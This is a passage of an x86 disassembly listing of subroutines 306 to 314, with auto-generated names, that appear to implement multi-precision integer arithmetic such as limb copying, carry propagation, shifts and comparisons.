08060716   83 c1 04         add    $0x4,%ecx
08060719   39 d0            cmp    %edx,%eax
0806071b   89 fb            mov    %edi,%ebx
0806071d   73 21            jae    08060740 <Unknown0306+0x98>
0806071f   4b               dec    %ebx
08060720   74 14            je     08060736 <Unknown0306+0x8e>
08060722   89 f6            mov    %esi,%esi
08060724   8b 16            mov    (%esi),%edx
08060726   42               inc    %edx
08060727   83 c6 04         add    $0x4,%esi
0806072a   89 11            mov    %edx,(%ecx)
0806072c   83 c1 04         add    $0x4,%ecx
0806072f   85 d2            test   %edx,%edx
08060731   75 0d            jne    08060740 <Unknown0306+0x98>
08060733   4b               dec    %ebx
08060734   75 ee            jne    08060724 <Unknown0306+0x7c>
08060736   b8 01 00 00 00   mov    $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0806073b   eb 1c            jmp    08060759 <Unknown0306+0xb1>
0806073d   8d 76 00         lea    0x0(%esi),%esi
08060740   39 f1            cmp    %esi,%ecx
08060742   74 13            je     08060757 <Unknown0306+0xaf>
08060744   31 d2            xor    %edx,%edx
08060746   4b               dec    %ebx
08060747   39 da            cmp    %ebx,%edx
08060749   7d 0c            jge    08060757 <Unknown0306+0xaf>
0806074b   90               nop
0806074c   8b 04 96         mov    (%esi,%edx,4),%eax
0806074f   89 04 91         mov    %eax,(%ecx,%edx,4)
08060752   42               inc    %edx
08060753   39 da            cmp    %ebx,%edx
08060755   7c f5            jl     0806074c <Unknown0306+0xa4>
08060757   31 c0            xor    %eax,%eax
08060759   8b 55 f0         mov    0xfffffff0(%ebp),%edx
0806075c   89 04 ba         mov    %eax,(%edx,%edi,4)
0806075f   8d 04 38         lea    (%eax,%edi,1),%eax
08060762   e9 89 00 00 00   jmp    080607f0 <Unknown0306+0x148>   ;137 'x89 x0 x0 x0' ""
08060767   90               nop
08060768   83 ff 01         cmp    $0x1,%edi
0806076b   75 1b            jne    08060788 <Unknown0306+0xe0>
0806076d   8b 01            mov    (%ecx),%eax
0806076f   3b 45 10         cmp    0x10(%ebp),%eax
08060772   73 14            jae    08060788 <Unknown0306+0xe0>
08060774   29 45 10         sub    %eax,0x10(%ebp)
08060777   8b 45 10         mov    0x10(%ebp),%eax
0806077a   8b 4d f0         mov    0xfffffff0(%ebp),%ecx
0806077d   89 01            mov    %eax,(%ecx)
0806077f   b8 01 00 00 00   mov    $0x1,%eax    ;1 'x1 x0 x0 x0' ""
08060784   eb 6a            jmp    080607f0 <Unknown0306+0x148>
08060786   89 f6            mov    %esi,%esi
08060788   89 cb            mov    %ecx,%ebx
0806078a   8b 13            mov    (%ebx),%edx
0806078c   89 d0            mov    %edx,%eax
0806078e   2b 45 10         sub    0x10(%ebp),%eax
08060791   8b 4d f0         mov    0xfffffff0(%ebp),%ecx
08060794   89 01            mov    %eax,(%ecx)
08060796   8b 4d f0         mov    0xfffffff0(%ebp),%ecx
08060799   83 c3 04         add    $0x4,%ebx
0806079c   83 c1 04         add    $0x4,%ecx
0806079f   39 d0            cmp    %edx,%eax
080607a1   89 fe            mov    %edi,%esi
080607a3   76 1b            jbe    080607c0 <Unknown0306+0x118>
080607a5   4e               dec    %esi
080607a6   74 2f            je     080607d7 <Unknown0306+0x12f>
080607a8   8b 13            mov    (%ebx),%edx
080607aa   8d 42 ff         lea    0xffffffff(%edx),%eax
080607ad   83 c3 04         add    $0x4,%ebx
080607b0   89 01            mov    %eax,(%ecx)
080607b2   83 c1 04         add    $0x4,%ecx
080607b5   85 d2            test   %edx,%edx
080607b7   75 07            jne    080607c0 <Unknown0306+0x118>
080607b9   4e               dec    %esi
080607ba   75 ec            jne    080607a8 <Unknown0306+0x100>
080607bc   eb 19            jmp    080607d7 <Unknown0306+0x12f>
080607be   89 f6            mov    %esi,%esi
080607c0   39 d9            cmp    %ebx,%ecx
080607c2   74 13            je     080607d7 <Unknown0306+0x12f>
080607c4   31 d2            xor    %edx,%edx
080607c6   4e               dec    %esi
080607c7   39 f2            cmp    %esi,%edx
080607c9   7d 0c            jge    080607d7 <Unknown0306+0x12f>
080607cb   90               nop
080607cc   8b 04 93         mov    (%ebx,%edx,4),%eax
080607cf   89 04 91         mov    %eax,(%ecx,%edx,4)
```

```
080607d2  42              inc     %edx
080607d3  39 f2           cmp     %esi,%edx
080607d5  7c f5           jl      080607cc <Unknown0306+0x124>
080607d7  8b 45 f0        mov     0xfffffff0(%ebp),%eax
080607da  8b 44 b8 fc     mov     0xfffffffc(%eax,%edi,4),%eax
080607de  85 c0           test    %eax,%eax
080607e0  75 0a           jne     080607ec <Unknown0306+0x144>
080607e2  b8 01 00 00 00  mov     $0x1,%eax     ;1 'x1 x0 x0 x0' ""
080607e7  29 f8           sub     %edi,%eax
080607e9  eb 05           jmp     080607f0 <Unknown0306+0x148>
080607eb  90              nop
080607ec  89 f8           mov     %edi,%eax
080607ee  f7 d8           neg     %eax
080607f0  8b 55 08        mov     0x8(%ebp),%edx
080607f3  89 42 04        mov     %eax,0x4(%edx)
080607f6  8d 65 f4        lea     0xfffffff4(%ebp),%esp
080607f9  5b              pop     %ebx
080607fa  5e              pop     %esi
080607fb  5f              pop     %edi
080607fc  5d              pop     %ebp
080607fd  c3              ret
080607fe  89 f6           mov     %esi,%esi


;
; >---------------------<  Subroutine # 307 >---------------------<
;
08060800 <Unknown0307>:
08060800  55              push    %ebp
08060801  89 e5           mov     %esp,%ebp
08060803  83 ec 10        sub     $0x10,%esp
08060806  8b 55 08        mov     0x8(%ebp),%edx
08060809  8b 02           mov     (%edx),%eax
0806080b  c1 e0 02        shl     $0x2,%eax
0806080e  50              push    %eax
0806080f  ff 72 08        pushl   0x8(%edx)
08060812  ff 15 30 93 07 08 call  *0x8079330  ;[in .data] 134623192 'xd8 x2f x6 x8' ""
08060818  c9              leave
08060819  c3              ret
0806081a  89 f6           mov     %esi,%esi


;
; >---------------------<  Subroutine # 308 >---------------------<
;
0806081c <Unknown0308>:
0806081c  55              push    %ebp
0806081d  89 e5           mov     %esp,%ebp
0806081f  53              push    %ebx
08060820  50              push    %eax
08060821  8b 4d 08        mov     0x8(%ebp),%ecx
08060824  8b 55 0c        mov     0xc(%ebp),%edx
08060827  8b 59 04        mov     0x4(%ecx),%ebx
0806082a  8b 42 04        mov     0x4(%edx),%eax
0806082d  39 c3           cmp     %eax,%ebx
0806082f  74 07           je      08060838 <Unknown0308+0x1c>
08060831  29 c3           sub     %eax,%ebx
08060833  89 d8           mov     %ebx,%eax
08060835  eb 34           jmp     0806086b <Unknown0308+0x4f>
08060837  90              nop
08060838  85 db           test    %ebx,%ebx
0806083a  74 20           je      0806085c <Unknown0308+0x40>
0806083c  85 db           test    %ebx,%ebx
0806083e  89 d8           mov     %ebx,%eax
08060840  79 02           jns     08060844 <Unknown0308+0x28>
08060842  f7 d8           neg     %eax
08060844  83 ec 04        sub     $0x4,%esp
08060847  50              push    %eax
08060848  ff 72 08        pushl   0x8(%edx)
0806084b  ff 71 08        pushl   0x8(%ecx)
0806084e  e8 4d 28 00 00  call    080630a0 <Unknown0351>
08060853  89 c2           mov     %eax,%edx
08060855  83 c4 10        add     $0x10,%esp
08060858  85 d2           test    %edx,%edx
0806085a  75 04           jne     08060860 <Unknown0308+0x44>
0806085c  31 c0           xor     %eax,%eax
0806085e  eb 0b           jmp     0806086b <Unknown0308+0x4f>
08060860  31 c0           xor     %eax,%eax
08060862  31 da           xor     %ebx,%edx
08060864  0f 99 c0        setns   %al
08060867  8d 44 00 ff     lea     0xffffffff(%eax,%eax,1),%eax
0806086b  8b 5d fc        mov     0xfffffffc(%ebp),%ebx
0806086e  c9              leave
0806086f  c3              ret
```

```
        ;
        ; >--------------------< Subroutine # 309 >--------------------<
        ;
08060870 <Unknown0309>:
08060870  55              push   %ebp
08060871  89 e5           mov    %esp,%ebp
08060873  8b 45 08        mov    0x8(%ebp),%eax
08060876  8b 50 04        mov    0x4(%eax),%edx
08060879  85 d2           test   %edx,%edx
0806087b  8b 4d 0c        mov    0xc(%ebp),%ecx
0806087e  75 0c           jne    0806088c <Unknown0309+0x1c>
08060880  31 c0           xor    %eax,%eax
08060882  85 c9           test   %ecx,%ecx
08060884  0f 94 c0        sete   %al
08060887  48              dec    %eax
08060888  eb 2d           jmp    080608b7 <Unknown0309+0x47>
0806088a  89 f6           mov    %esi,%esi
0806088c  83 fa 01        cmp    $0x1,%edx
0806088f  75 1b           jne    080608ac <Unknown0309+0x3c>
08060891  8b 40 08        mov    0x8(%eax),%eax
08060894  8b 00           mov    (%eax),%eax
08060896  39 c8           cmp    %ecx,%eax
08060898  76 0a           jbe    080608a4 <Unknown0309+0x34>
0806089a  b8 01 00 00 00  mov    $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0806089f  eb 16           jmp    080608b7 <Unknown0309+0x47>
080608a1  8d 76 00        lea    0x0(%esi),%esi
080608a4  39 c8           cmp    %ecx,%eax
080608a6  19 c0           sbb    %eax,%eax
080608a8  eb 0d           jmp    080608b7 <Unknown0309+0x47>
080608aa  89 f6           mov    %esi,%esi
080608ac  31 c0           xor    %eax,%eax
080608ae  85 d2           test   %edx,%edx
080608b0  0f 9f c0        setg   %al
080608b3  8d 44 00 ff     lea    0xffffffff(%eax,%eax,1),%eax
080608b7  5d              pop    %ebp
080608b8  c3              ret
080608b9  8d 76 00        lea    0x0(%esi),%esi


        ;
        ; >--------------------< Subroutine # 310 >--------------------<
        ;
080608bc <Unknown0310>:
080608bc  55              push   %ebp
080608bd  89 e5           mov    %esp,%ebp
080608bf  57              push   %edi
080608c0  56              push   %esi
080608c1  53              push   %ebx
080608c2  83 ec 0c        sub    $0xc,%esp
080608c5  8b 45 0c        mov    0xc(%ebp),%eax
080608c8  8b 40 04        mov    0x4(%eax),%eax
080608cb  85 c0           test   %eax,%eax
080608cd  89 45 f0        mov    %eax,0xfffffff0(%ebp)
080608d0  79 02           jns    080608d4 <Unknown0310+0x18>
080608d2  f7 d8           neg    %eax
080608d4  8b 5d 10        mov    0x10(%ebp),%ebx
080608d7  c1 eb 05        shr    $0x5,%ebx
080608da  89 c7           mov    %eax,%edi
080608dc  29 df           sub    %ebx,%edi
080608de  31 f6           xor    %esi,%esi
080608e0  85 ff           test   %edi,%edi
080608e2  7f 1c           jg     08060900 <Unknown0310+0x44>
080608e4  8b 45 08        mov    0x8(%ebp),%eax
080608e7  8b 40 08        mov    0x8(%eax),%eax
080608ea  c7 00 01 00 00 00  movl $0x1,(%eax)   ;1 'x1 x0 x0 x0' ""
080608f0  8b 45 f0        mov    0xfffffff0(%ebp),%eax
080608f3  f7 d0           not    %eax
080608f5  c1 e8 1f        shr    $0x1f,%eax
080608f8  48              dec    %eax
080608f9  e9 f6 00 00 00  jmp    080609f4 <Unknown0310+0x138>  ;246 'xf6 x0 x0 x0' ""
080608fe  89 f6           mov    %esi,%esi
08060900  8d 47 01        lea    0x1(%edi),%eax
08060903  8b 4d 08        mov    0x8(%ebp),%ecx
08060906  39 01           cmp    %eax,(%ecx)
08060908  7d 0d           jge    08060917 <Unknown0310+0x5b>
0806090a  83 ec 08        sub    $0x8,%esp
0806090d  50              push   %eax
0806090e  51              push   %ecx
0806090f  e8 3c 1a 00 00  call   08062350 <Unknown0331>
08060914  83 c4 10        add    $0x10,%esp
08060917  8b 45 08        mov    0x8(%ebp),%eax
0806091a  8b 40 08        mov    0x8(%eax),%eax
```

```
0806091d   8b 55 0c              mov     0xc(%ebp),%edx
08060920   89 45 ec              mov     %eax,0xffffffec(%ebp)
08060923   8b 42 08              mov     0x8(%edx),%eax
08060926   31 d2                 xor     %edx,%edx
08060928   39 de                 cmp     %ebx,%esi
0806092a   7d 0c                 jge     08060938 <Unknown0310+0x7c>
0806092c   8b 34 90              mov     (%eax,%edx,4),%esi
0806092f   42                    inc     %edx
08060930   39 da                 cmp     %ebx,%edx
08060932   7d 04                 jge     08060938 <Unknown0310+0x7c>
08060934   85 f6                 test    %esi,%esi
08060936   74 f4                 je      0806092c <Unknown0310+0x70>
08060938   8b 55 10              mov     0x10(%ebp),%edx
0806093b   83 e2 1f              and     $0x1f,%edx
0806093e   74 28                 je      08060968 <Unknown0310+0xac>
08060940   52                    push    %edx
08060941   57                    push    %edi
08060942   8d 04 98              lea     (%eax,%ebx,4),%eax
08060945   50                    push    %eax
08060946   ff 75 ec              pushl   0xffffffec(%ebp)
08060949   e8 ba 41 00 00        call    08064b08 <Unknown0369>
0806094e   8b 4d ec              mov     0xffffffec(%ebp),%ecx
08060951   8b 5c b9 fc           mov     0xfffffffc(%ecx,%edi,4),%ebx
08060955   09 c6                 or      %eax,%esi
08060957   83 c4 10              add     $0x10,%esp
0806095a   31 c0                 xor     %eax,%eax
0806095c   85 db                 test    %ebx,%ebx
0806095e   0f 94 c0              sete    %al
08060961   29 c7                 sub     %eax,%edi
08060963   eb 1f                 jmp     08060984 <Unknown0310+0xc8>
08060965   8d 76 00              lea     0x0(%esi),%esi
08060968   31 c9                 xor     %ecx,%ecx
0806096a   39 f9                 cmp     %edi,%ecx
0806096c   7d 16                 jge     08060984 <Unknown0310+0xc8>
0806096e   8d 14 98              lea     (%eax,%ebx,4),%edx
08060971   8d 76 00              lea     0x0(%esi),%esi
08060974   8b 02                 mov     (%edx),%eax
08060976   8b 5d ec              mov     0xffffffec(%ebp),%ebx
08060979   89 04 8b              mov     %eax,(%ebx,%ecx,4)
0806097c   41                    inc     %ecx
0806097d   83 c2 04              add     $0x4,%edx
08060980   39 f9                 cmp     %edi,%ecx
08060982   7c f0                 jl      08060974 <Unknown0310+0xb8>
08060984   8b 4d f0              mov     0xfffffff0(%ebp),%ecx
08060987   85 c9                 test    %ecx,%ecx
08060989   79 5e                 jns     080609e9 <Unknown0310+0x12d>
0806098b   85 f6                 test    %esi,%esi
0806098d   74 5a                 je      080609e9 <Unknown0310+0x12d>
0806098f   8b 45 ec              mov     0xffffffec(%ebp),%eax
08060992   8b 10                 mov     (%eax),%edx
08060994   89 c3                 mov     %eax,%ebx
08060996   8d 42 01              lea     0x1(%edx),%eax
08060999   83 c3 04              add     $0x4,%ebx
0806099c   8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806099f   39 d0                 cmp     %edx,%eax
080609a1   89 01                 mov     %eax,(%ecx)
080609a3   89 fe                 mov     %edi,%esi
080609a5   89 d9                 mov     %ebx,%ecx
080609a7   73 1f                 jae     080609c8 <Unknown0310+0x10c>
080609a9   4e                    dec     %esi
080609aa   74 12                 je      080609be <Unknown0310+0x102>
080609ac   8b 13                 mov     (%ebx),%edx
080609ae   42                    inc     %edx
080609af   83 c3 04              add     $0x4,%ebx
080609b2   89 11                 mov     %edx,(%ecx)
080609b4   83 c1 04              add     $0x4,%ecx
080609b7   85 d2                 test    %edx,%edx
080609b9   75 0d                 jne     080609c8 <Unknown0310+0x10c>
080609bb   4e                    dec     %esi
080609bc   75 ee                 jne     080609ac <Unknown0310+0xf0>
080609be   b8 01 00 00 00        mov     $0x1,%eax    ¡l 'x1 x0 x0 x0' ""
080609c3   eb 1c                 jmp     080609e1 <Unknown0310+0x125>
080609c5   8d 76 00              lea     0x0(%esi),%esi
080609c8   39 d9                 cmp     %ebx,%ecx
080609ca   74 13                 je      080609df <Unknown0310+0x123>
080609cc   31 d2                 xor     %edx,%edx
080609ce   4e                    dec     %esi
080609cf   39 f2                 cmp     %esi,%edx
080609d1   7d 0c                 jge     080609df <Unknown0310+0x123>
080609d3   90                    nop
080609d4   8b 04 93              mov     (%ebx,%edx,4),%eax
080609d7   89 04 91              mov     %eax,(%ecx,%edx,4)
080609da   42                    inc     %edx
080609db   39 f2                 cmp     %esi,%edx
```

```
080609dd  7c f5                 jl     080609d4 <Unknown0310+0x118>
080609df  31 c0                 xor    %eax,%eax
080609e1  8b 5d ec              mov    0xffffffec(%ebp),%ebx
080609e4  89 04 bb              mov    %eax,(%ebx,%edi,4)
080609e7  01 c7                 add    %eax,%edi
080609e9  8b 55 f0              mov    0xfffffff0(%ebp),%edx
080609ec  85 d2                 test   %edx,%edx
080609ee  89 f8                 mov    %edi,%eax
080609f0  79 02                 jns    080609f4 <Unknown0310+0x138>
080609f2  f7 d8                 neg    %eax
080609f4  8b 55 08              mov    0x8(%ebp),%edx
080609f7  89 42 04              mov    %eax,0x4(%edx)
080609fa  8d 65 f4              lea    0xfffffff4(%ebp),%esp
080609fd  5b                    pop    %ebx
080609fe  5e                    pop    %esi
080609ff  5f                    pop    %edi
08060a00  5d                    pop    %ebp
08060a01  c3                    ret
08060a02  89 f6                 mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 311 >--------------------<
  ;
08060a04 <Unknown0311>:
08060a04  55                    push   %ebp
08060a05  89 e5                 mov    %esp,%ebp
08060a07  57                    push   %edi
08060a08  56                    push   %esi
08060a09  53                    push   %ebx
08060a0a  83 ec 1c              sub    $0x1c,%esp
08060a0d  8b 4d 0c              mov    0xc(%ebp),%ecx
08060a10  8b 55 10              mov    0x10(%ebp),%edx
08060a13  8b 75 08              mov    0x8(%ebp),%esi
08060a16  8b 59 04              mov    0x4(%ecx),%ebx
08060a19  8b 7a 04              mov    0x4(%edx),%edi
08060a1c  89 d8                 mov    %ebx,%eax
08060a1e  85 db                 test   %ebx,%ebx
08060a20  79 02                 jns    08060a24 <Unknown0311+0x20>
08060a22  f7 d8                 neg    %eax
08060a24  40                    inc    %eax
08060a25  85 db                 test   %ebx,%ebx
08060a27  89 45 d8              mov    %eax,0xffffffd8(%ebp)
08060a2a  89 d8                 mov    %ebx,%eax
08060a2c  79 02                 jns    08060a30 <Unknown0311+0x2c>
08060a2e  f7 d8                 neg    %eax
08060a30  8d 04 85 13 00 00 00  lea    0x13(,%eax,4),%eax   ;19 'x13 x0 x0 x0' ""
08060a37  83 e0 f0              and    $0xfffffff0,%eax
08060a3a  29 c4                 sub    %eax,%esp
08060a3c  89 65 e0              mov    %esp,0xffffffe0(%ebp)
08060a3f  52                    push   %edx
08060a40  51                    push   %ecx
08060a41  8d 45 d8              lea    0xffffffd8(%ebp),%eax
08060a44  50                    push   %eax
08060a45  56                    push   %esi
08060a46  e8 a1 20 00 00        call   08062aec <Unknown0343>
08060a4b  83 c4 10              add    $0x10,%esp
08060a4e  31 df                 xor    %ebx,%edi
08060a50  79 14                 jns    08060a66 <Unknown0311+0x62>
08060a52  8b 55 dc              mov    0xffffffdc(%ebp),%edx
08060a55  85 d2                 test   %edx,%edx
08060a57  74 0d                 je     08060a66 <Unknown0311+0x62>
08060a59  50                    push   %eax
08060a5a  6a 01                 push   $0x1
08060a5c  56                    push   %esi
08060a5d  56                    push   %esi
08060a5e  e8 8d 1e 00 00        call   080628f0 <Unknown0341>
08060a63  83 c4 10              add    $0x10,%esp
08060a66  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08060a69  5b                    pop    %ebx
08060a6a  5e                    pop    %esi
08060a6b  5f                    pop    %edi
08060a6c  5d                    pop    %ebp
08060a6d  c3                    ret
08060a6e  89 f6                 mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 312 >--------------------<
  ;
08060a70 <Unknown0312>:
08060a70  55                    push   %ebp
08060a71  89 e5                 mov    %esp,%ebp
08060a73  57                    push   %edi
```

```
08060a74  56                      push    %esi
08060a75  53                      push    %ebx
08060a76  83 ec 1c                sub     $0x1c,%esp
08060a79  8b 5d 14                mov     0x14(%ebp),%ebx
08060a7c  39 5d 08                cmp     %ebx,0x8(%ebp)
08060a7f  8b 7d 0c                mov     0xc(%ebp),%edi
08060a82  8b 73 04                mov     0x4(%ebx),%esi
08060a85  74 04                   je      08060a8b <Unknown0312+0x1b>
08060a87  39 df                   cmp     %ebx,%edi
08060a89  75 33                   jne     08060abe <Unknown0312+0x4e>
08060a8b  85 f6                   test    %esi,%esi
08060a8d  89 f0                   mov     %esi,%eax
08060a8f  79 03                   jns     08060a94 <Unknown0312+0x24>
08060a91  f7 d8                   neg     %eax
08060a93  90                      nop
08060a94  85 f6                   test    %esi,%esi
08060a96  89 45 d8                mov     %eax,0xffffffd8(%ebp)
08060a99  89 f0                   mov     %esi,%eax
08060a9b  79 02                   jns     08060a9f <Unknown0312+0x2f>
08060a9d  f7 d8                   neg     %eax
08060a9f  8d 04 85 0f 00 00 00    lea     0xf(,%eax,4),%eax   ;15 'xf x0 x0 x0' ""
08060aa6  83 e0 f0                and     $0xfffffff0,%eax
08060aa9  29 c4                   sub     %eax,%esp
08060aab  89 65 e0                mov     %esp,0xffffffe0(%ebp)
08060aae  83 ec 08                sub     $0x8,%esp
08060ab1  53                      push    %ebx
08060ab2  8d 5d d8                lea     0xffffffd8(%ebp),%ebx
08060ab5  53                      push    %ebx
08060ab6  e8 e5 18 00 00          call    080623a0 <Unknown0333>
08060abb  83 c4 10                add     $0x10,%esp
08060abe  53                      push    %ebx
08060abf  ff 75 10                pushl   0x10(%ebp)
08060ac2  57                      push    %edi
08060ac3  ff 75 08                pushl   0x8(%ebp)
08060ac6  e8 21 20 00 00          call    08062aec <Unknown0343>
08060acb  8b 45 10                mov     0x10(%ebp),%eax
08060ace  83 c4 10                add     $0x10,%esp
08060ad1  33 70 04                xor     0x4(%eax),%esi
08060ad4  79 23                   jns     08060af9 <Unknown0312+0x89>
08060ad6  8b 57 04                mov     0x4(%edi),%edx
08060ad9  85 d2                   test    %edx,%edx
08060adb  74 1c                   je      08060af9 <Unknown0312+0x89>
08060add  50                      push    %eax
08060ade  6a 01                   push    $0x1
08060ae0  ff 75 08                pushl   0x8(%ebp)
08060ae3  ff 75 08                pushl   0x8(%ebp)
08060ae6  e8 05 1e 00 00          call    080628f0 <Unknown0341>
08060aeb  83 c4 0c                add     $0xc,%esp
08060aee  53                      push    %ebx
08060aef  57                      push    %edi
08060af0  57                      push    %edi
08060af1  e8 2a f9 ff ff          call    08060420 <Unknown0305>
08060af6  83 c4 10                add     $0x10,%esp
08060af9  8d 65 f4                lea     0xfffffff4(%ebp),%esp
08060afc  5b                      pop     %ebx
08060afd  5e                      pop     %esi
08060afe  5f                      pop     %edi
08060aff  5d                      pop     %ebp
08060b00  c3                      ret
08060b01  8d 76 00                lea     0x0(%esi),%esi


   ;
   ; >--------------------< Subroutine # 313 >--------------------<
   ;
08060b04 <Unknown0313>:
08060b04  55                      push    %ebp
08060b05  89 e5                   mov     %esp,%ebp
08060b07  57                      push    %edi
08060b08  56                      push    %esi
08060b09  53                      push    %ebx
08060b0a  83 ec 1c                sub     $0x1c,%esp
08060b0d  8b 55 0c                mov     0xc(%ebp),%edx
08060b10  8b 42 04                mov     0x4(%edx),%eax
08060b13  85 c0                   test    %eax,%eax
08060b15  79 02                   jns     08060b19 <Unknown0313+0x15>
08060b17  f7 d8                   neg     %eax
08060b19  8b 5d 10                mov     0x10(%ebp),%ebx
08060b1c  c1 eb 05                shr     $0x5,%ebx
08060b1f  8b 4d 0c                mov     0xc(%ebp),%ecx
08060b22  39 d8                   cmp     %ebx,%eax
08060b24  8b 51 08                mov     0x8(%ecx),%edx
08060b27  7e 67                   jle     08060b90 <Unknown0313+0x8c>
08060b29  8b 4d 10                mov     0x10(%ebp),%ecx
```

```
08060b2c   83 e1 1f                     and     $0x1f,%ecx
08060b2f   b8 01 00 00 00               mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08060b34   d3 e0                        shl     %cl,%eax
08060b36   48                           dec     %eax
08060b37   8b 3c 9a                     mov     (%edx,%ebx,4),%edi
08060b3a   21 c7                        and     %eax,%edi
08060b3c   74 22                        je      08060b60 <Unknown0313+0x5c>
08060b3e   8d 73 01                     lea     0x1(%ebx),%esi
08060b41   8b 45 08                     mov     0x8(%ebp),%eax
08060b44   39 30                        cmp     %esi,(%eax)
08060b46   7d 0d                        jge     08060b55 <Unknown0313+0x51>
08060b48   83 ec 08                     sub     $0x8,%esp
08060b4b   56                           push    %esi
08060b4c   50                           push    %eax
08060b4d   e8 fe 17 00 00               call    08062350 <Unknown0331>
08060b52   83 c4 10                     add     $0x10,%esp
08060b55   8b 55 08                     mov     0x8(%ebp),%edx
08060b58   8b 42 08                     mov     0x8(%edx),%eax
08060b5b   89 3c 98                     mov     %edi,(%eax,%ebx,4)
08060b5e   eb 48                        jmp     08060ba8 <Unknown0313+0xa4>
08060b60   85 db                        test    %ebx,%ebx
08060b62   89 de                        mov     %ebx,%esi
08060b64   7e 1c                        jle     08060b82 <Unknown0313+0x7e>
08060b66   8d 04 9a                     lea     (%edx,%ebx,4),%eax
08060b69   8b 48 fc                     mov     0xfffffffc(%eax),%ecx
08060b6c   85 c9                        test    %ecx,%ecx
08060b6e   75 12                        jne     08060b82 <Unknown0313+0x7e>
08060b70   83 e8 04                     sub     $0x4,%eax
08060b73   90                           nop
08060b74   4e                           dec     %esi
08060b75   83 e8 04                     sub     $0x4,%eax
08060b78   85 f6                        test    %esi,%esi
08060b7a   7e 06                        jle     08060b82 <Unknown0313+0x7e>
08060b7c   8b 10                        mov     (%eax),%edx
08060b7e   85 d2                        test    %edx,%edx
08060b80   74 f2                        je      08060b74 <Unknown0313+0x70>
08060b82   8b 4d 08                     mov     0x8(%ebp),%ecx
08060b85   39 31                        cmp     %esi,(%ecx)
08060b87   7d 1d                        jge     08060ba6 <Unknown0313+0xa2>
08060b89   83 ec 08                     sub     $0x8,%esp
08060b8c   56                           push    %esi
08060b8d   51                           push    %ecx
08060b8e   eb 0e                        jmp     08060b9e <Unknown0313+0x9a>
08060b90   89 c6                        mov     %eax,%esi
08060b92   8b 45 08                     mov     0x8(%ebp),%eax
08060b95   39 30                        cmp     %esi,(%eax)
08060b97   7d 0d                        jge     08060ba6 <Unknown0313+0xa2>
08060b99   83 ec 08                     sub     $0x8,%esp
08060b9c   56                           push    %esi
08060b9d   50                           push    %eax
08060b9e   e8 ad 17 00 00               call    08062350 <Unknown0331>
08060ba3   83 c4 10                     add     $0x10,%esp
08060ba6   89 f3                        mov     %esi,%ebx
08060ba8   8b 55 0c                     mov     0xc(%ebp),%edx
08060bab   39 55 08                     cmp     %edx,0x8(%ebp)
08060bae   74 1f                        je      08060bcf <Unknown0313+0xcb>
08060bb0   31 d2                        xor     %edx,%edx
08060bb2   39 da                        cmp     %ebx,%edx
08060bb4   7d 19                        jge     08060bcf <Unknown0313+0xcb>
08060bb6   8b 4d 08                     mov     0x8(%ebp),%ecx
08060bb9   8b 45 0c                     mov     0xc(%ebp),%eax
08060bbc   8b 79 08                     mov     0x8(%ecx),%edi
08060bbf   8b 48 08                     mov     0x8(%eax),%ecx
08060bc2   89 f6                        mov     %esi,%esi
08060bc4   8b 04 91                     mov     (%ecx,%edx,4),%eax
08060bc7   89 04 97                     mov     %eax,(%edi,%edx,4)
08060bca   42                           inc     %edx
08060bcb   39 da                        cmp     %ebx,%edx
08060bcd   7c f5                        jl      08060bc4 <Unknown0313+0xc0>
08060bcf   8b 55 08                     mov     0x8(%ebp),%edx
08060bd2   89 72 04                     mov     %esi,0x4(%edx)
08060bd5   8b 4d 0c                     mov     0xc(%ebp),%ecx
08060bd8   8b 41 04                     mov     0x4(%ecx),%eax
08060bdb   85 c0                        test    %eax,%eax
08060bdd   79 46                        jns     08060c25 <Unknown0313+0x121>
08060bdf   85 f6                        test    %esi,%esi
08060be1   74 42                        je      08060c25 <Unknown0313+0x121>
08060be3   8d 43 01                     lea     0x1(%ebx),%eax
08060be6   89 45 d8                     mov     %eax,0xffffffd8(%ebp)
08060be9   8d 04 9d 13 00 00 00         lea     0x13(,%ebx,4),%eax   ;19 'x13 x0 x0 x0' ""
08060bf0   83 e0 f0                     and     $0xfffffff0,%eax
08060bf3   29 c4                        sub     %eax,%esp
08060bf5   89 65 e0                     mov     %esp,0xffffffe0(%ebp)
08060bf8   83 ec 08                     sub     $0x8,%esp
```

```
08060bfb  8d 5d d8          lea     0xffffffd8(%ebp),%ebx
08060bfe  6a 01             push    $0x1
08060c00  53                push    %ebx
08060c01  e8 9a 19 00 00     call    080625a0 <Unknown0337>
08060c06  83 c4 0c          add     $0xc,%esp
08060c09  ff 75 10          pushl   0x10(%ebp)
08060c0c  53                push    %ebx
08060c0d  53                push    %ebx
08060c0e  e8 61 0b 00 00     call    08061774 <Unknown0324>
08060c13  83 c4 0c          add     $0xc,%esp
08060c16  ff 75 08          pushl   0x8(%ebp)
08060c19  53                push    %ebx
08060c1a  ff 75 08          pushl   0x8(%ebp)
08060c1d  e8 46 1a 00 00     call    08062668 <Unknown0340>
08060c22  83 c4 10          add     $0x10,%esp
08060c25  8d 65 f4          lea     0xfffffff4(%ebp),%esp
08060c28  5b                pop     %ebx
08060c29  5e                pop     %esi
08060c2a  5f                pop     %edi
08060c2b  5d                pop     %ebp
08060c2c  c3                ret
08060c2d  8d 76 00          lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 314 >----------------------<
  ;
08060c30 <Unknown0314>:
08060c30  55                push    %ebp
08060c31  89 e5             mov     %esp,%ebp
08060c33  57                push    %edi
08060c34  56                push    %esi
08060c35  53                push    %ebx
08060c36  83 ec 1c          sub     $0x1c,%esp
08060c39  8b 5d 10          mov     0x10(%ebp),%ebx
08060c3c  8b 7d 08          mov     0x8(%ebp),%edi
08060c3f  39 df             cmp     %ebx,%edi
08060c41  8b 73 04          mov     0x4(%ebx),%esi
08060c44  75 34             jne     08060c7a <Unknown0314+0x4a>
08060c46  85 f6             test    %esi,%esi
08060c48  89 f0             mov     %esi,%eax
08060c4a  79 04             jns     08060c50 <Unknown0314+0x20>
08060c4c  f7 d8             neg     %eax
08060c4e  89 f6             mov     %esi,%esi
08060c50  85 f6             test    %esi,%esi
08060c52  89 45 d8          mov     %eax,0xffffffd8(%ebp)
08060c55  89 f0             mov     %esi,%eax
08060c57  79 02             jns     08060c5b <Unknown0314+0x2b>
08060c59  f7 d8             neg     %eax
